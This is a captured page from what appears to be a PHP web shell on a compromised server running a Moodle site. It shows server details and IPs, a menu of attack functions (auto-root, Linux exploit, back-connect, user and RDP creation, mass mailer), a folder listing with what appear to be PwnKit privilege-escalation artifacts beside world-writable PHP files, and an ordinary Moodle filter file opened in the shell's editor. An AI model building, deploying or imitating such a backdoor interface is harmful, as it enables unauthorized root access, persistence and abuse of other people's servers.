Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
user /
filters /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
checkbox.php
4.68
KB
-rwxrwxrwx
cohort.php
4.54
KB
-rwxrwxrwx
courserole.php
5.27
KB
-rwxrwxrwx
date.php
3.24
KB
-rwxrwxrwx
globalrole.php
2.57
KB
-rwxrwxrwx
lib.php
11.52
KB
-rwxrwxrwx
profilefield.php
6.73
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
select.php
3.9
KB
-rwxrwxrwx
simpleselect.php
2.57
KB
-rwxrwxrwx
text.php
5.05
KB
-rwxrwxrwx
user_filter_forms.php
2.35
KB
-rwxrwxrwx
yesno.php
1.04
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : globalrole.php
<?php require_once($CFG->dirroot.'/user/filters/lib.php'); /** * User filter based on global roles. */ class user_filter_globalrole extends user_filter_type { /** * Constructor * @param string $name the name of the filter instance * @param string $label the label of the filter instance * @param boolean $advanced advanced form element flag */ function user_filter_globalrole($name, $label, $advanced) { parent::user_filter_type($name, $label, $advanced); } /** * Returns an array of available roles * @return array of availble roles */ function get_roles() { $context = context_system::instance(); $roles = array(0=> get_string('anyrole','filters')) + get_assignable_roles($context); return $roles; } /** * Adds controls specific to this filter in the form. * @param object $mform a MoodleForm object to setup */ function setupForm(&$mform) { $obj =& $mform->addElement('select', $this->_name, $this->_label, $this->get_roles()); $mform->setDefault($this->_name, 0); if ($this->_advanced) { $mform->setAdvanced($this->_name); } } /** * Retrieves data from the form data * @param object $formdata data submited with the form * @return mixed array filter data or false when filter not set */ function check_data($formdata) { $field = $this->_name; if (array_key_exists($field, $formdata) and !empty($formdata->$field)) { return array('value' => (int)$formdata->$field); } return false; } /** * Returns the condition to be used with SQL where * @param array $data filter settings * @return array sql string and $params */ function get_sql_filter($data) { global $CFG; $value = (int)$data['value']; $timenow = round(time(), 100); $sql = "id IN (SELECT userid FROM {role_assignments} a WHERE a.contextid=".SYSCONTEXTID." AND a.roleid=$value)"; return array($sql, array()); } /** * Returns a human friendly description of the filter used as label. * @param array $data filter settings * @return string active filter label */ function get_label($data) { global $DB; $role = $DB->get_record('role', array('id'=>$data['value'])); $a = new stdClass(); $a->label = $this->_label; $a->value = '"'.role_get_name($role).'"'; return get_string('globalrolelabel', 'filters', $a); } }
Close